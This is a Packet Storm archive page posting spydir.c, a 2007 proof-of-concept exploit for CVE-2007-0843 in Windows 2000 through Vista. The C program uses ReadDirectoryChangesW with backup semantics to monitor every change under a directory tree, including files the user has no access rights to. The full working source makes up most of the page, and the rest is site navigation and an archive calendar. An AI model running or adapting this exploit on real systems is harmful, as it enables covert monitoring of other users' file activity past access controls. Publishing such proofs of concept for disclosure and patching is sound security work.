exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

spydir.c

spydir.c
Posted Feb 24, 2007
Authored by 3APA3A | Site securityvulns.com

Exploit that demonstrates the vulnerability in ReadDirectoryChangesW() for Microsoft Windows 2000/XP/2003/Vista.

tags | exploit
systems | windows
advisories | CVE-2007-0843
SHA-256 | 4478745e135e06387cd47d9eeaa660d45d71036448847dcdbc5d5e4abacc8449

spydir.c

Change Mirror Download
/*
Monitors directory changes
(c) 2006-2007 Vladimir Dubrovin, 3APA3A
http://securityvulns.com/
http://securityvulns.ru/
*/

#include <windows.h>
#include <stdio.h>
#include <string.h>


int main(int argc, char *argv[]){
HANDLE hDir;

char buf[1024];
FILE_NOTIFY_INFORMATION * fn;
int read;
WCHAR * action = NULL;

if(argc != 2) {
printf(
"Usage: %s <directory_path>\n"
" Monitor directory changes with all subdirectories\n"
" For any files, including ones you have no access\n"
" (as on January, 2007)\n"
"(c) Vladimir Dubrovin, 3APA3A\n"
" http://securityvulns.com\n"
" http://securityvulns.ru\n"
"This approach is not reliable and should not be used for audit and another critical operations.\n",
argv[0]);
return 1;
}

CreateDirectory(argv[1], 0);
hDir = CreateFile(
argv[1],
FILE_LIST_DIRECTORY,
FILE_SHARE_READ|FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
if(hDir == INVALID_HANDLE_VALUE){
fprintf(stdout, "Failed to open dir\n");
return 2;
}
for(;;){
if(!ReadDirectoryChangesW(
hDir,
buf,
1022,
1,
FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_ACCESS |
FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_WRITE |
FILE_NOTIFY_CHANGE_CREATION | FILE_NOTIFY_CHANGE_SECURITY
,
(DWORD *)&read,
NULL,
NULL
)) {
fprintf(stderr, "Failed to read directory changes\n");
break;
}
for (fn = (FILE_NOTIFY_INFORMATION *)buf; ;){
fn->FileName[fn->FileNameLength/2] = 0;
switch(fn->Action){
case FILE_ACTION_ADDED:
action = L"added";
break;
case FILE_ACTION_REMOVED:
action = L"removed";
break;
case FILE_ACTION_MODIFIED:
action = L"accessed/modified";
break;
case FILE_ACTION_RENAMED_OLD_NAME:
action = L"renamed (old name)";
break;
case FILE_ACTION_RENAMED_NEW_NAME:
action = L"renamed (new name)";
break;
default:
action = L"(unknown)";
}
wprintf(L"File %s: %s\n", action, fn->FileName);
if(!fn->NextEntryOffset) break;
fn = (FILE_NOTIFY_INFORMATION *)(((char *)fn) + fn->NextEntryOffset);
}
}
return 0;

}
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    18 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close